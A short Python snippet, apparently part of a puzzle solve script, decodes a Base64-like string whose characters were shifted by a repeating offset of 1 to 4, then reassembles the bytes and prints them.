index = []
number = [1,2,3,4]
for i in range(len(enc)):
    tmp = table.index(enc[i]) - number[i % 4]
    if tmp >= 0:
        index.append(tmp)
    else:
        index.append(tmp + 64)
print(index)
for i in range(0,len(index),4):
    a = index[i]
    b = index[i + 1]
    c = index[i + 2]
    d = index[i + 3]
    sum = a << 18 | b << 12 | c << 6 | d
    for j in range(3):
        print(chr((sum >> ((2 - j) * 8)) & 0xff),end="")